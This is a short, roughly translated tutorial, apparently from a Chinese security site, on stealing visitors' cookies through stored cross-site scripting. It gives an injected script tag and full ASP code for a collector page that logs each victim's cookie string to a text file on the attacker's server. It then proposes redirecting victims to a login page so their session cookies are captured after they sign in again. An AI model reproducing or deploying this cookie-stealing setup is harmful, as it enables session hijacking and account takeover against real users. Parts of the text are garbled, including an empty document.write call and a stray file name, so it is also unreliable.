Use XSS to store cookies:
Insert XSS statement <script> document. write (''); </script>
Cookies. asp is a file and website is a URL. we need to put the asp file into an accessible website. when you access the XSS page, the asp program is executed and the prompt box is not displayed, which is hidden.
-
Program code of Cookies. asp:
<%
Msg = Request. ServerVariables ("QUERY_STRING ")
Testfile = Server. MapPath ("Cookies.txt ")
Set fs = server. CreateObject ("scripting. filesystemobject ")
Set thisfile = fs. OpenTextFile (testfile, 8, True, 0)
Thisfile. Writeline ("" & msg &"")
Thisfile. close
Set fs = nothing
%>
Note: The cookies.txt file in the program directory will be stored in the recording msg.pdf.
-
Further extension: www.2cto.com
Of course, the user may not log on and then access our XSS page. To enable the user to log on and access it again, we can go to Cookies. at the end of asp, an automatic jump page is added to the logon page. The other party will subconsciously log on and open the page containing XSS statements again. at this time, we get the visitor's cookie (there are a lot of automatic jump code in ASP, so here we will not give an example here. Google will have more, better, and more detailed code)